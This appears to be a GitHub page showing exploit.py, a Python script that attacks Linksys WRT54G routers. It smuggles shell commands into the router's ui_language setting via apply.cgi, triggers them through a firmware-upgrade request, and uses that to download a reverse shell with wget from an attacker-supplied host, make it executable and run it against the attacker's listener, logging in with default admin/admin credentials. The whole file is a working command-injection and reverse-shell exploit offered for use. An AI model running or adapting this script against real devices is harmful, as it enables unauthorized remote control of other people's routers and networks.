-
Notifications
You must be signed in to change notification settings - Fork 3
/
exploit.py
78 lines (60 loc) · 3.24 KB
/
exploit.py
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
import argparse
from dataclasses import dataclass
from typing import Tuple
import requests
import router_requests
@dataclass
class Router:
host: str
creds: Tuple[str, str]
DEFAULT_LANG = 'en'
REVSHELL_REMOTE_PATH = '/tmp/X'
PING_LOG_REMOTE_PATH = '/tmp/ping.log'
def exploit(self, attacker_host: str, attacker_handler_port: int, attacker_http_port: int):
print(f'[*] Exploiting Linksys WRT54G @ {self.host}')
self._upload_revshell(attacker_host, attacker_http_port)
self._chmod_revshell_executable()
self._run_revshell(attacker_host, attacker_handler_port)
self._set_ui_language(self.DEFAULT_LANG)
def _upload_revshell(self, attacker_host: str, attacker_http_port: int):
print('[*] Uploading reverse shell executable.')
self._run_shell_cmd(
f'wget http://{attacker_host}:{attacker_http_port}/revshell -O{self.REVSHELL_REMOTE_PATH}')
def _chmod_revshell_executable(self):
print('[*] Making the reverse shell executable.')
self._run_shell_cmd(f'chmod +x {self.REVSHELL_REMOTE_PATH}')
def _run_revshell(self, attacker_host: str, attacker_handler_port: int):
print('[*] Running the reverse shell!')
self._run_shell_cmd(f'{self.REVSHELL_REMOTE_PATH} {attacker_host} {attacker_handler_port}')
print('[*] Reverse shell exited!')
def _run_shell_cmd(self, cmd: str, with_output: bool = False):
cmd = f';{cmd}>{self.PING_LOG_REMOTE_PATH} 2>&1;' if with_output else f';{cmd};'
print(f'[*] Running: {cmd}')
self._set_ui_language(cmd)
self._upgrade_firmware()
def _set_ui_language(self, ui_language: str):
req_query = router_requests.get_ui_language_query(ui_language)
req = requests.post(f'http://{self.host}/apply.cgi', data=req_query, auth=self.creds)
if not req.ok:
raise ValueError(f'Failed to change ui_language. Request: {req}')
def _upgrade_firmware(self):
print(f'[*] Issuing a firmware upgrade.')
req_query = router_requests.get_upgrade_query()
req = requests.post(f'http://{self.host}/upgrade.cgi', data=req_query, auth=self.creds)
if not req.ok:
raise ValueError(f'Failed to issue a firmware upgrade. Request: {req}')
def main():
parser = argparse.ArgumentParser(description='LinkSYS WRT54G Exploitation.',
formatter_class=argparse.ArgumentDefaultsHelpFormatter)
parser.add_argument('--host', required=True, help='Host of the router.')
parser.add_argument('--username', default='admin', help='Router\'s username.')
parser.add_argument('--password', default='admin', help='Router\'s password.')
parser.add_argument('--attacker-host', required=True, help='Attacker\'s host.')
parser.add_argument('--attacker-handler-port', type=int, default=4141, help='Reverse shell TCP handler port.')
parser.add_argument('--attacker-http-port', type=int, default=8000,
help='HTTP server port to serve the reverse shell executable.')
args = parser.parse_args()
router = Router(args.host, (args.username, args.password))
router.exploit(args.attacker_host, args.attacker_handler_port, args.attacker_http_port)
if __name__ == '__main__':
main()